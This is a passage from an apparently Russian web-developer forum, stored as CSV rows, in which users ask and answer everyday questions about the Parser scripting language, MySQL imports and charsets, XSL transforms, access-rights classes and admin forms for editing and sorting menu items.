Что получится? Программа просто заработает или вывалится с ошибкой? Если вывалится, приведите, пожалуйста, текст.[/quot]\
промелькнуло досовское окно :( что написано - не успел рассмотреть, по-моему пусто.\
[quot]Покажите, пожалуйста, содержимое файла c:\\что-у-вас-там\\Вебсервер\\mysql\\data\\mysql.log[/quot]\
там пусто"
"54062","Сначала запустите Пуск -> Выполнить -> cmd.exe\
В открывшемся окне введите команду запуска MySQL:\
\
c:\\......\\вебсервер\\mysql\\bin\\MySQLd-opt.exe --old-passwords --skip-innodb --skip-bdb --log-error=mysql.log\
\
Окне не закроется, вы спокойно сможете прочитать и поделиться увиденным."
"54063","Здравствуйте!\
\
В ходе работы потребовалась возможность присваивать значения переменным класса @main[] из любого места.\
\
Наш случай:\
auto.p\
[code]\
@main[]\
....\
....\
$this_var\
\
^methods[]\
[/code]\
\
someclass.p\
[code]\
....\
....\
$MAIN:this_var[нужное значение]\
[/code]\
\
Т.к. в @main[] все классы и методы вызываются уже после, то естественно значение переменной не присвается.\
\
Как можно это обойти?"
"54066","[url=\"http://www.parser.ru/docs/lang/props.htm\"]http://www.parser.ru/docs/lang/props.htm[/url]"
"54067","Почему не сделать все наобарот:\
\
[code]\
# присваиваем:\
^class:method[]\
Выводим: $MAIN:var\
[/code]\
\
Почему классы и методы работают после того, как нам нужны переменные из них?"
"54068","Тут дело в том, что код выполняется последовательно (из-за дизайна). К примеру нужно назначить мета теги. Мета теги выводятся в начале, а метод где я хотел бы их задать уже выполняется после."
"54070","Ну как в auto.p описываешь свойство $this_var примерно так:\
[code]\
@SET_this_var[value]\
$var[$value]\
\
@GET_this_var[]\
$var\
[/code]\
\
а потом где надо пишешь:\
$MAIN:this_var[someshit] и при этом будет вызываться метод ^SET_this_var[]\
для получения значения $this_var:\
$MAIN:this_var будет вызываться метод ^GET_this_var[]\
\
Теоретически так. Сам не пробовал. Если не прав извиняйте"
"54071","Страницу обрабатывает файл - items.xsl (29 KB), файл импортирует common.xsl (25 KB) и categories.xsl (2 KB)... Разве много это?\
Но items.xsl переполнен <xsl:for-each>.. Возможно если его немного упростить, то будет полегче..."
"54072","[b]Спасибо, Sumo ;)[/b]"
"54073","в случае xml+xls вы бы не знали такой проблеммы, т.к. выполняющийся код формировал бы xml, и лишь после этого этот xml трансформировался бы xsl-ем. мета теги можно было вывести в результирующий xml хоть в самом конце."
"54074","Хотел тоже об этом написать :).\
Но я всё-равно сделал. Sumo посоветовал способ:\
создается класс, являющийся буфером и результат выполнения кода рабочих классов не выводится напрямую, а записывается в буферный класс."
"54075","через свойства или через обычные присваивания сначала надо присвоить значение, и лишь потом будет читаться присвоенное.\
\
у автора изначально все наоборот.\
\
собственно присвоения надо выносить до использования\
- в метод @auto[] подключаемых классов\
- в какой-нить @initialize[], который(ые) вызывать ручками в начале @main[]"
"54078","Возможно действительно много зациклований, но у меня, например, 30kb xsl и xml около 100-150кб. Зацикливаний много, но работает нормально. Может там где-нибудь гючёк? Например я встречался с проблемой, когда делал группировку данных методом Мюнха. Потом плюнул на это, и сделал группировку в выборке из базы...\
\
Но в любом случае, наверное лучше всё упростить."
"54079","[b]Задача.[/b] Написать скрипт, принимающий POST-данными пять таб-разделенных таблиц и добавляет их в базу данных, предварительно очистив старые данные в базе. Возвращать статус операции.\
\
[b]Условие.[/b] Порядок полей жестко задан и они соответствуют полям в базе данных. На хостинге нет MySQL-привелегии для работы с файлами (LOAD DATA IN FILE)\
\
[b]Решение.[/b]\
\
[code]\
@auto[]\
$response:body[]\
$response:status(210)\
$die(0)\
$data[\
	$.ts[^create[ts](1)[id	cat_ts	cat_ts2	cena_h	cena_min]]\
	$.cat_ts[^create[cat_ts](2)[id	name]]\
	$.cat_ts2[^create[cat_ts2](3)[id	id_cat	name	inprice]]\
	$.harak[^create[harak](4)[id	cat_ts	name	ed]]\
	$.harakdb[^create[harakdb](5)[id	idts	catts	idhar	value]]\
]\
^debug:print[$data][/../temp/data.html]\
# end @auto[]\
\
\
@create[name;status;columns]\
^if(!$die){\
	$result[^table::create{$columns}]\
	^try{\
		^result.join[^table::create{^taint[as-is][$form:[$name]]}]\
		^if(!^result.count[]){\
			$response:status(420 + $status)\
			$die(1)\
	 	}{\
			^MAIN:pSQL.void{TRUNCATE TABLE $name}\
			^insert[$name;$columns;$result]\
		}\
	}{\
		$exception.handled(0)\
		$response:status(520 + $status)\
		$die(1)\
	}\
}\
# end @create[]\
\
\
@insert[table_name;columns;data][n]\
$counter(0)\
^while($counter < ^data.count[]){\
	^MAIN:pSQL.void{\
		INSERT INTO\
			$table_name (\
				^columns.menu{$columns.piece}[,]\
			)\
		VALUES\
			^for[i](0;99){\
				^if(($counter + $i) < ^data.count[]){\
					^data.offset[set]($counter + $i)\
					(\
						^columns.menu{'$data.[$columns.piece]'}[,]\
					)\
					^if(^data.line[] < ^data.count[] && $i < 99){,}\
				}\
			}\
	}\
	^counter.inc(100)\
}\
# end @insert[]\
[/code]\
\
[b]Проблема.[/b] В одной из таблиц ~7500 записей. Не хватает памяти на процесс. (Разбивка на порции с while, против menu, помогла, но не сильно. Все равно не хватает памяти.\
\
Как можно оптимизировать скрипт?\
(Эх, можно было бы LOAD DATA INFILE...)"
"54080","я думаю можно загруженные файлы разбить на несколько файлов и обрабатывать каждый в отдельном запросе. хотя конечно это уродство.\
\
сам я в таких случаях обычно использую perl, потому что это 100% работает"
"54081","http://dev.mysql.com/doc/refman/5.1/en/load-data.html\
\
\"Using LOCAL is a bit slower than letting the server access the files directly, because the contents of the file must be sent over the connection by the client to the server. On the other hand, you [b]do not need the FILE privilege[/b] to load local files.\"\
\
\
пошагово\
\
1. сохраняем файл, пришедший POST-ом (на сохранении таблицы пропивается память, поэтому это отдельный шаг), создаем результирующий файл нулевой длины.\
2. делаем внешний редирект на себя-же с ключиком\
3. загружаем таблицу, делаем select первого куска, compact, menu по оставшемуся, результаты append-им в результирующему файлу. в нем должны получиться набор инструкций INSERT.\
3...N-1 повторяем 3 для всех кусков\
N. ^file::exec[/path/to/mysql;;-uuser;-ppass;-hhost;database;</path/to/file.sql]"
"54083","сначала выдал текст:[quot][ERROR] Can't find messagefile 'C:\\mysql\\share\\russian\\errmsg.sys'[/quot]\
я установил MySQL? который стоял раньше (3.23.55). Отключил его и еще раз запустил команду. Вот что я получил:\
[quot][ERROR] Character set information not found in 'C:\\mysql\\share\\russian\\errmsg.sys'. Please install the lastes version of this file.[/quot]\
проверил - данный файл существует"
"54084","Вот что пишет в логе:\
\
[quote]Access denied for user: '*********@' (Using password: NO) [sql.execute][/quote]\
\
Хотя при инициализации класса mysql пароль указан и если перебирать строки и вставлять их — все срабатывает."
"54086","Посмотрел обновленный скроллер - интересно.\
\
Привожу пример моего усовершенствования кода, который делает ссылки более правильнее:\
\
[code]$page[^form:page.int(1)]\
\
^table::sql{... limit ^eval($page*6 - 6) , 6}\
\
$scroller[^scroller::create[\
...\
$.table_count[^math:ceiling($count/6)]\
...\
]][/code]\
\
тем самым ссылки такие [code]/?page=1 /?page=2 /?page=3[/code]\
\
вместо таких [code]/?page=1 /?page=7 /?page=13[/code]"
"54088","вы взяли очень частный случай...\
\
Скроллер уммет показывать как страницы так и секции (см. примеры скролеров), для секций [1-6][7-13] ваш вариант не подойдёт."
"54089","Нашел в FAQ-е: http://masterhost.ru/support/doc/mysql/#load\
\
Можно как-то при подключении к MySQL передать ключик [b]--local-infile=1[/b]?"
"54090","http://dev.mysql.com/doc/refman/5.1/en/load-data-local.html\
[quot]\
For the mysql command-line client, LOAD DATA LOCAL can be enabled by specifying the --local-infile[=1] option, or disabled with the --local-infile=0 option. Similarly, for mysqlimport, the --local or -L option enables local data file loading. In any case, successful use of a local loading operation requires that the server is enabled to allow it.\
[/quot]\
\
создай файл ./import.sh\
в котором напиши:\
\
#!/bin/sh\
\
/path/to/mysql --local-infile=1 -ulogin -ppassword -hhost database < import.sql\
\
в import.sql напиши свои инструкции с load data local infile, парсером сохраняй файлы, которые будут загружаться и ^file::exec[/path/from/document-root/to/import.sh]"
"54091","Вопрос касается класса авторизации. Заранее извиняюсь за напряги:\
[quote]но вопросы вида: \"что такое битовые операции?\", \"что такое битовая маска?\", \"как на её основе узнать права?\" и т.п. - проигнорирую.[/quote]\
\
1. Метод [b]@getRightsToObject[][/b]\
Нашел в форуме следующий код:\
[code]\
^rem{ *** достаем данные о текущем документе *** }\
$current_object[^MAIN:pSQL.sql[table]{\
	SELECT\
		page_id AS id,\
		parent_id,\
		thread_id,\
		irf,\
		...\
	FROM\
		page\
	WHERE\
		path = '$request:uri'\
}]\
\
^rem{ *** достаем данные о текущем треде *** }\
$thread[^MAIN:pSQL.sql[table]{\
	SELECT\
		page_id AS id,\
		parent_id,\
		irf,\
		...\
	FROM\
		page\
	WHERE\
		thread_id = $current_object.thread_id\
}]\
\
^rem{ *** достаем назначения прав текущему пользователю на все объекты треда *** }\
$acl[^auth_data.getFullACL[$thread]]\
\
^rem{ *** определяем права авторизированного пользователя на объект *** }\
$effective_right(^auth_data.getRightsToObject[$current_object;$thread;$acl])\
[/code]\
\
Возникает вопросы:\
1. Права назначаются по ID объекта?\
   > если мне необходимо работать с несколькими таблицами (новости, таблица разделов, таблица фотографий) то ID у строк разных таблиц могут совпадать\
\
2. Как разбивать число \"16777215\"\
Мои знания в области битовых опираций ограничиваются операциями над битами (or, xor, and) и правилами перевода из одной единици измерения в другую.\
Однако (задаю вопрос, т.к. боюсь, что \"само-копанием\" могу изобрести велосипед, который ездит не в ту сторону),\
как из 16777215 получить например 01 01 01 01, разобраться пока не могу. Различные шаманства, вроде разбивки на блоки 16 77 72 15 результата не дали\
\
Спасибо за внимание"
"54092","вот в общем смотрел этот класс, но у меян вот вопрос, например мне надо постоить не всю таблицу, а только то, у которых родитель == 0, вот что я делаю:\
[code]@init[items][item]\
# входная таблица разделов\
$item[^table::create{id	parent_id	dir	title\
1	0	hardware	Железо\
11	1	computers	Компьютеры\
12	1	printers	Принтеры\
121	12	laser	Лазерные\
122	12	ink	Струйные\
2	0	software	Программное обеспечение\
21	2	os	Операционные системы\
22	2	editors	Текстовые редакторы\
3	0	news	Новости}]\
[b]#$items[$item.select($item.parent_id<1)][/b]\
\
то есть дабавляю ешо вот это!\
\
\
$self.items[$items]\
\
# создание хэша из таблицы для ускорения поиска\
$items_hash[^items.hash[id]]\
\
#######\
# форм. таблицы соответствий uri для всех разделов сайта[/code]\
\
но парсер ругается! как можно иначе?"
"54093","11111111 11111111 11111111"
"54094","Права назначаются по ID объекта?\
> если мне необходимо работать с несколькими таблицами (новости, таблица разделов, таблица фотографий) то ID у строк разных таблиц могут совпадать\
\
Есть идея, сделать отдельную таблицу:\
table_name	id\
по которой можно было-бы определять ID самой таблицы. А ID-объекта/строки получать из комбинации . Однако, такой метод мне кажется не совсем разумным..."
"54095","- смотреть на что именно ругается парсер (он показывает строку и символ) и пытаться понять что ему не нравится (в коде у вас синтакцическая ошибка)\
\
- если сами не поняли, то когда приводите сообщение об ошибке в форуме - сообщаете что за ошибка. \"парсер ругается\" - не канает."
"54096","[code]Unhandled Exception (Debug)\
string method not found\
hash\
z:/home/stepka.ru/www/classes/uri.p(25)\
exception.type=parser.runtime [/code]\
\
вот так...\
\
переводить не надо, я понимаю, но не понимаю в чем ошибка..."
"54097","......а хотите присвоить таблицу.\
\
$ > ^"
"54099","нет, в доках написано, что в переменной сохраняется именно таблица с той же структурой"
"54102","[code]$items[$item.select($item.parent_id<1)]\
\
берется таблица $items далее выбираются записи,где в столбце parent_id значение < 1\
\
а что не так?[/code]"
"54103","subj, запускаю — работает, жму Refresh — вылетает с ошибкой, и больше не работает пока не перезагружу Apache.\
\
Ошибка примерно такая: /test.html: c:/blabla/html/test.html(3:28): '/c%3A/blabla/html/main.xsl' getting file size failed: No such file or directory (2), real filename '/c%3A/blabla/html/main.xsl' [file.missing]\
\
как понимаю дело тут в этом самом '/c%3A/', но откудо оно такое берется пока непонятно. Парсер модулем 3.2.1, проверял на модуле постарше, то же самое. C CGI версией порядок, все работает. Swissknife 3.0.0\
\
Содержимое bug.zip примерно такое:\
test.html[code]$sourceDoc[^xdoc::load[/test.xml]] \
\
$transformedDoc[^sourceDoc.transform[/test.xsl]] \
 \
^transformedDoc.string[ $.method[html] ][/code]\
test.xml[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<document>\
	<content>Привет, как дела?</content>\
</document>[/code]\
test.xsl[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:import href=\"main.xsl\" />\
\
<xsl:template match=\"content\">\
	<xsl:value-of select=\".\"/>\
</xsl:template>\
\
</xsl:stylesheet>[/code]\
main.xsl[code]<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:template match=\"document\">\
\
	<html>\
		<head>\
			<title>Privet</title>\
		</head>\
	\
		<body>\
			<xsl:apply-templates select=\"content\" />\
		</body>\
	</html>\
\
</xsl:template>\
</xsl:stylesheet>[/code]"
"54104","2. Сравните select с документацией.\
\
+ можно вместо <1, сказать так, как вам нужно: $item.parent_id == 0"
"54107","это к Paf - судя по всему, бяка в коде, который из относительного пути делает абсолютный. Делает он это \"UNIX-way\", а не \"Windows-way\""
"54108","Вы бы тоже внимательно посмотрели код, прежде чем отвечать. Ошибка была не по причине нечитанной документации, а по невнимательности."
"54109","парсер сообщает: в 25 строке файла z:/home/stepka.ru/www/classes/uri.p вы пытаетесь у строки вызвать метод с названием hash, которого у строки не существует.\
\
спорить с ним и утверждать что в документации/примере сказано что тут должна быть не строка, а что-то другое (таблица по вашим ожидаением) - бессмысленно. надо начинать думать в таком направлении: а почему он считает, что тут - строка? кто её туда записал? соответственно надо подняться выше по коду и посмотреть, где у вас происходит запись в эту переменную.\
\
в вашем случае запись происходиля в строке (что вы этим хотели сказать я не понял):\
$self.items[$items]\
\
а вот переменная $items до этого не инициилизировалась вовсе, т.к. строка с select, в которой к тому-же была синтаксическая ошибка, была закомментирована (символ '#').\
\
примерно так следует рассуждать когда парсер сообщает об ошибке. надо пытаться понять что именно ему не нравится.\
\
хотя возможно это была и не ошибка вовсе, а надо было вызывать метод @init[] с параметром, где в качестве параметра должны была быть таблица (может для этого ту строку и закомментировали, но тогда можно было закомментировать и метод создания таблицы $item, т.к. она не используется)."
"54110","Создал таблицу вида:\
[b]id[/b] - идентификатор объекта\
[b]table_name[/b] - название таблици\
[b]record_id[/b] - строка в таблице\
\
В которую прописываю необъодимые мне строки таблиц, к которым есть желание ограничить доступ.\
\
Далее, создал метод:\
[code]\
# метод получения прав на таблицу\
@getRightstoTable[table_name;user_id]\
$usersUsers[$user_id]\
$userGroups[^auth.getUserGroups[$user_id]]\
^userGroups.menu{$usersUsers[$usersUsers, $userGroups.group_id]}\
\
^rem{получаем набор объектов по указанной таблице}\
$objTable[^MAIN:pSQL.table{\
		SELECT\
			id,\
			record_id\
		FROM\
			t_objects\
		WHERE\
			table_name = \"$table_name\"\
}]\
^if($objTable){\
	$objetsList[^objTable.menu{$objTable.id}[, ]]\
	$acl[^auth.getACL[$objetsList;$usersUsers]]\
	^rem{формируем таблицу прав на строки таблици $table_name}\
	$rightsTable[^table::create{record_id	object_id	rights	auser_id	name	auser_type_id	user_rights}]\
	^acl.menu{\
		^if(^objTable.locate[id;$acl.object_id]){\
			^rightsTable.append{$objTable.record_id	$acl.object_id	$acl.rights	$acl.auser_id	$acl.name	$acl.auser_type_id	$acl.user_rights}\
		}\
	}\
	^if($rightsTable){$result[$rightsTable]}{$result[]}\
}{\
	$result[]\
}[/code]\
\
Метод \"топорный\", но для начала хватит..."
"54111","create database test character set cp1251; use test;\
create table test (value varchar(255)) character set cp1251;\
\
$sql[mysql://root:@localhost/test/?charset=cp1251]\
^connect[$sql]{^void:sql{insert into test set value = 'тест'}}\
\
получается ошибка:\
INSERT INTO test SET value = 'тест' \
Data too long for column 'value' at row 1\
\
в чем может быть причина?"
"54113","взято отсюда http://dev.mysql.com/doc/refman/4.1/en/load-data-local.html\
\
там в коментах написано, что для perl'a есть такой ход:\
my $dsn = \"DBI:mysql:mydb;mysql_local_infile=1\";\
\
для php:\
$dbh = mysql_connect($server, $user, $pass, false, 128);\
\
\
может для парсера тоже такая фича пригодилась бы?"
"54114","я бы сделал не так:\
- добавил в таблицу acl дополнительное поле 'type', в нем было-бы то, что у вас в t_objects.table_name. соответственно PK = id + type\
- перекрыл бы методы @getACL[] и @getFullACL[]: первый доставал бы ещё и значение type, а второй бы делал full acl в зависимости от того что ему передали.\
\
но в начале я подумал бы ещё раз - может стоит заново сделать? методы классаа auth написаны чтобы работать со _стеканием_ выданных на объект прав к его дочерним объектам. я не думаю что у вас N таблиц и во всех требуется подобное стекание прав..."
"54115","я предложил заглянуть в доку (при чем в ее конкретное место) не потому, что нечитана документация, а просто акцентировал тем самым внимание на том, где именно ошибка в коде."
"54116","Многоуважаемые! хотелось бы понять,  тем ли полушарием ГМ (говоного мозга) я думаю про ОПП в Parser.\
\
создаю объект в пользовательском классе\
[code]\
@load[]\
^db:dbconnect{\
	$menu[^table::sql{select id, name from menu}]\
}\
[/code]\
Здесь описываю его методы в которых формирую список урл для последующего редактирования\
[code]@show_menu[]\
^if($menu){\
	^menu.menu{\
	<a href=\"/adm/menu/edit.html?id=$menu.id\"> - $menu.name</a><br/> #передаю id для того что бы потом редактировать с конкретным id\
	}\
}{\
	Нет ни одной записи\
}\
[/code]\
Начинаю гурзить все в форму.\
Q1: Я так понял что на страничке edit.html список объектов уже есть так???\
\
Теперь для дого чтобы отредактировать конкретную запись я  делаю $form:id==$menu.id и вывожу ее  в форму.\
Q2: Использование в этом случае [b]^menu.menu[/b] это правильно с точки зрения концепции  parser? или нужно \
допустим все запихнуть в Хеш или table c sql запросом по Id ?? \
\
[code]@show_form[]\
^menu.menu{\
^if($form:id==$menu.id){\
<form method=\"POST\">\
id : <input name=\"id\" value=\"$menu.id\"><br/>\
name : <input name=\"name\" value=\"$menu.name\"><br/>\
<input name=\"post\" value=\"Сохранить\" type=\"submit\">\
<input value=\"Очистить\" type=\"reset\">\
</form>\
}	\
\
}\
[/code]\
\
В общем хотелось бы сразу понять как правильно чтобы дальше не увязнуть. Спасибо"
"54118","[quote]не видел в вашем предыдущем посте конкретных вопросов (ну не про биты-же рассказывать тут, когда об этом в книжке можно прочитать?)[/quote]\
Все верно. Я просто пару раз переформулировал вопрос. Возможно формулировка была не очень.\
\
[quote]я бы сделал не так:\
- добавил в таблицу acl дополнительное поле 'type', в нем было-бы то, что у вас в t_objects.table_name. соответственно PK = id + type[/quote]\
Интересное предложение. Я просто не хотел лишний раз \"трогать\" таблици из класса \"auth\". Хотя, возможно, так действительно правильней.\
\
А таблиц у меня действиетельно планируется N, т.к. я даже не знаю сейчас точно для чего еще могут в будущем понадобиться разделение прав.\
\
На данном этапе для пары проектов у меня уже надо разделять права для:\
- таблицы разделов, т.к. сайты редактируют несколько человек\
- таблицы новостей ...\
Кроме того, я сейчас доделываю небольшой класс для работы с данными организаций (данные о сотрудниках, виртуальные приемные, структура организаций...), который включает в себя порядка 4-х таблиц, для каждой из которых возможен различный набор прав.\
\
Кроме того, я думаю подобная ситуация может возникнуть у кого угодно. Поэтому, я подумал, что не плохо было-бы сделать универсальный метод или дочерний класс для auth, который бы выполнял дополнительные (к тем базовым что есть в классе auth) функции по проверке прав доступа.\
\
Еще раз спасобо за ответ, т.к. я и не думал что вы ответите. Я понимаю, когда каждый 5-й задает один и тот же вопрос по 5-раз, набирается порядочное число нудных, неинтересных вопросов, которые раздражают. Ситуация может измениться в лучшую сторону, если кто-нибудь третий продокументирует часть функций класса в виде FAQ-ка. Я, вообщем-то, и задавал эти вопросы, т.к. просмотрев практически весь форум, не смог с ними разобраться, а документацию какую-никакую готовить надо, т.к. класс у меня в CMS-ке используется."
"54119","Q1:По 1 тогда как понимать то, что когда я нахожусь на edit.html и делаю ^menu.menu без if, выводит подряд все записи в формах.?"
"54121","Для начала:\
1. Как у вас прописаны переменные класса?\
\
2. [quote]Q1: Я так понял что на страничке edit.html список объектов уже есть так???[/quote] Возможно, но из вашего кода этого не видно.\
\
3.[quote]Q2: Использование в этом случае ^menu.menu это правильно с точки зрения концепции parser? или нужно \
допустим все запихнуть в Хеш или table c sql запросом по Id ?? [/quote] Это уж как вам удобнее и проще.\
\
4. \
[code]@show_form[]\
^menu.menu{\
^if($form:id==$menu.id){\
<form method=\"POST\">\
id : <input name=\"id\" value=\"$menu.id\"><br/>\
name : <input name=\"name\" value=\"$menu.name\"><br/>\
<input name=\"post\" value=\"Сохранить\" type=\"submit\">\
<input value=\"Очистить\" type=\"reset\">\
</form>\
}	\
\
}[/code]\
Такой подход будет слишком \"громоздким\" потом. Например, вам нужно отредактировать одну позицию меню, а вы строите формы для всех.\
\
Я бы сделал так:\
[code]\
@show_form[]\
#смотрим, нужно ли реактировать меню и какой пункт\
^if(def $form:id){\
$menu_item[^getMenuItem[$form:id]]\
	<form method=\"POST\">\
		id : <input name=\"id\" value=\"$menu.id\"><br/>\
		name : <input name=\"name\" value=\"$menu.name\"><br/>\
		<input name=\"post\" value=\"Сохранить\" type=\"submit\">\
		<input value=\"Очистить\" type=\"reset\">\
	</form>\
\
}\
\
@getMenuItem[id]\
^db:dbconnect{\
	$result[[^table::sql{select id, name from menu where id = $id}]\
}\
\
[/code]\
\
что-то вроде этого..."
"54122","в коревом auto.p я подключаю его с помощью @USE\
или я не правльно понял ???\
тогда я так понял меня сейчас прямиком в доку направят да?"
"54123","Что-то не могу понять, как вытащить файл менеджер из FCK. Вернее мне не вытащить надо, а просто сделать загрузку файла на сервер с менеджером. FCK стоит, поэтому подумал, что лучше из него взять менеджер. В общем, получается, нужно поле input и чтоб придоединив File Manager из FCK, этот менеджер в поле передавал путь до файла. Если кто-то такое уже делал, подскажите плиз Ваше решение..."
"54124","Еще один вопросик, \
\
есть стандартные варианты \
1.отредактировать запись \
2.создать новую\
3.Удалить\
\
\
Дейстивия.\
1.Правильно будет передавать по ссылке некий параметр edit который имеет занчения (edit, save, del) и в зависмости от него еще одним методом (@RAZBOR) с помощью if или swith формировать формы с соответствующими запросами к БД.??\
или\
2.Создать несколько методов (@edit, @save, @del) в них описать эти самые запросы и потом по кнопке вызывать эти методы???\
или\
\
И то и то правильно???\
\
спасибо"
"54125","не понятно про [b]переменные класса[/b] . Что значит как прописаны \
У меня вот так: взял из примера про гостевую книгу чтобы понять все\
\
[code]@CLASS\
menu\
\
@USE\
classes/db.p\
\
@BASE\
db\
\
@auto[]\
$connect_string[mysql://root@localhost/mtucimed]\
\
\
#Конструктор \
@load[]\
^db:dbconnect{\
	$menu[^table::sql{select id, name, title, dir from menu}]\
}\
... методы методы[/code]"
"54127","[url=\"http://www.parser.ru/forum/?id=50463\"]http://www.parser.ru/forum/?id=50463[/url]\
На его основе можно сделать отдельно FileManager."
"54131","[quote]Лучше дьнь потерять, а потом за пять минут долетель[/quote]"
"54132","1. Я создал объект конструктором\
[code]\
@load[]\
^db:dbconnect{\
	$menu[^table::sql{select id, name from menu}]\
}\
[/code]\
\
я имею собственно все объекты данного класса.\
\
2. Мне нужно отредактировать запись с определенным ID\
[code]<a href=\"/adm/menu/edit.html?id=$menu.id\"> $menu.name</a>[/code]\
\
сначала вызываю метод который выводит форму со значениями\
[code]\
@show_form[]\
^if(def $form:id){\
$menu[^getMenuItem[$form:id]]\
<form method=\"POST\">\
id : <input name=\"id\" value=\"$menu.id\"><br/>\
name : <input name=\"name\" value=\"$menu.name\"><br/>\
<input name=\"update\" value=\"Обновить\" type=\"submit\">\
</form>\
}\
[/code]\
\
далее опять еще один конструктор с объектом id (так??). Вопрос зачем??, если мы в load имеем уже весь список объектов (пока не понятно)\
[code]@getMenuItem[id]\
^db:dbconnect{\
	$result[^table::sql{select id, name from menu where id = $id}]\
}\
[/code]\
3. что бы отредактировать нужно определить некий параметр <input name=\"[b]update[/b]\" value=\"Обновить\" type=\"submit\"> у формы, чтобы по submit передать его и вызвать метод который понимал бы его.\
\
[code]@update_form[]\
^if(def $form:[b]update[/b]){\
^db:dbconnect{\
	^void:sql{update menu \
		SET name='$form:name'\
		WHERE id='$form:id'\
		}\
	}\
\
[/code]\
\
Так???\
\
4. Чтобы добавить новую запись, опять нужно проделать пп 2-3 с разницей лишь в том что другой sql + сформировать новую форму с <input name=\"[b]save[/b]..\
Написать еще один метод\
[code]\
@save_form[]\
^if(def $form:[b]save[/b]){...\
[/code]\
\
так???\
\
Я просто хочу понять правильно ли я мыслю или нет"
"54133","можно ли как-нибудь сохранить страницу, в результате попытки сохранения которой выдается ошибка 302?\
\
причем, я сам толкоми не понимаю, что это за ошибка и в результате чего она возникет...\
может быть кто-нибудь объяснит?"
"54135","то подсмотреть, что именно выдаёт вебсервер, можно с помощью расширения LiveHTTPHeaders.\
\
Если не FF, то открываете окно командной строки и выполняете команду[code]telnet.exe www.вашсайт.com 80 > c:\\лог.txt[/code]после запуска впечатываете[code]GET /адрес/проблемной/страницы.html HTTP/1.0[/code]и дважды жмёте Enter. Потом вдумчиво изучаете c:\\лог.txt\
\
Про ошибку 302 (и прочие) [url=\"http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html\"]написано тут[/url]. Если кратко - это попытка вебсервера сказать вам \"этой страницы временно нет, но у меня пока для вас есть другая, посмотрите её\"."
"54136","[b]Есть задача:[/b]\
Требуется потроить базу данных для информационного портала. Данные будут немного разнородные, т.к. в портале будет храниться информация по различным фирмам, организациям, просто даные, разного профиля:\
- гостиници\
- турфирмы\
- магазины\
- туристические маршрутны\
- ...\
\
Не хочится городить ворох таблиц. Есть задумка хранить все в одной:\
[b]id, parent_id, thread_id[/b] - традиционные поля для дерева\
[b]lang[/b] - поле для описания языковых параметров\
[b]title[/b] - название/заголовок\
[b]about[/b] - краткие сведения\
[b]data[/b] - поле XML данных\
\
В поле DATA планирую в XML-форме хранить все данные по элементам портала.\
\
Однако, возникает сразу проблема при таком подходе - поиск. Если выбирать все данные (по какому-нибудь типу), а потом средствами Parser преобразовывать поля DATA в Хэш или массив и искать в нем, то мне кажеться это будет не слишком эффектино.\
\
Есть у кого какие-либо предложения?"
"54137","т.е. он пытается переадресовать меня на другую страницу?\
\
При открытии ее в браузере открывает нормально, или постоянно переадресовывает ее на саму себя?\
\
не очень догоняю... мда, это плохо...\
\
никто не пытался как-то очень просто обойти ее? :)"
"54138","Сомневаюсь, что так получится хранить данные. Рано или поздно настаёт момент, когда такой подход оказывается менее удобным, чем хранение по разным таблицам.\
\
и я не думаю, что будет уж такой ворох...\
\
Я как-то давно уже обсуждал похожую тему здесь.\
http://www.parser.ru/forum/?id=43453"
"54139","мой вариант вместо поля data\
сделать таблицу \
[b]object_contents[/b]\
object_id (fk)objects.id\
name\
content\
\
затем[b] select name, content from object_contents where id = $pid[/b] в хэш и в шаблон.\
\
За одно избавитесь от тормозящих работу blob'ов в таблице со служебной в основном информацией."
"54140","Есть в этом подходе, конечно, своеи неудобства (придется все данные хранить в полях типа TEXT (MEMO)), однако, за неимением альтернативы...\
\
Спасибо..."
"54141","а точнее я нашел всего один вариант, здесь http://www.parser.ru/forum/?id=48971\
предлагается использовать charset=cp1251_koi8, но\
1. получается та же самая ошибка\
2. кодировка таблицы в базе данных cp1251, а не koi8"
"54142","Но текстовые поля не учавствуют в сортировках, а поиск все-равно  по-хорошему делается через индексные таблицы, а не по тексту.\
\
И конечно в этом варианте вы не кладете xml в базу."
"54152","Вот придумал себе такую задачу.\
\
Есть: список данных, в виде таблицы, таблица грузится из БД\
Нужно: наглядно по клику на ссылке [b]вверх[/b] текущей записи или по клику [b]вниз[/b] опять таки текщей записи, поменять позицию данной строки с сохранением в БД значения этой позиции допустим колонку \"position\".\
\"position\" обычное нумерованное поле. (не инкремент, не уникальный)\
\
Вопрос: как это лучше сделать???\
\
Пробывал: с помощью созадть таблицу со сылками \"вверх и вниз\", на ссылках сделать offset, все меняется, но дальше как записать новые значения в БД в клоноку \"position\"\
Или есть способы проще.\
\
Спб.!"
"54153","Задача то, вообщем-то банальна: обычные сортировки. Однако, смысл?"
"54154","Все очень просто \
допустим при выводе пунктов меню на сайте нужно поменять их последовательность. Пункты меню хранятся в БД.\
а в управлении (админке) есть список этих меню и кликая по ссылке вверх или вниз меняю позицию текщего пункта и записываю эту позицию в БД.\
Ну и соответственно при выводе записей сортировку по \"position\"."
"54155","Представим навигационное меню на сайте. Сначала мы создали объект «О компании», затем «Продукция», А теперь нам надо добавить «Новости» между двумя этими разделами. Как? Если сортировать по ID, то он будет последним, если по названию — первым.\
\
Для решения подобных задач создается поле [i]sort_order[/i].\
\
[b]Самый простой вариант решения.[/b] При редактировании списка записей добавить поле:\
[code]\
<input type=\"text\" name=\"sort_order\"... />\
[/code]\
И вручную его заполнять цифрами.\
\
[b]Усложняем пример.[/b] Тоже самое, только type=\"test\" меняем на type=\"hidden\" и рисуем две кнопочки, которые меняют значения того элемента, на который нажимаем и того, который находиться рядом (если нажали кнопку вверх — выше, вниз — ниже) при помощи JavaScript-а."
"54156","пункты меню, ведь нужно все таки наверное пробежаться по всем и у всех поменять позицию.\
\
1. Я имею в виду есть позиции в БД 1,2,3,4 так??\
чтобы поменять допустим 3 поизицию на 2\
наверное нужно поменять циферки и 2\
\
2. а если добавили еще один пункт и записей сатло не 4 а 5, а затем ставим  5 меняем на 1, опять все нужно пересчитать и перезаписать.???\
\
Я здесь уже сам почти запутался."
"54157","[code]^if(^form:sorting.int(0) > 0){\
	$resortRazdel[^MAIN:pSQL.table{\
		SELECT\
			id,\
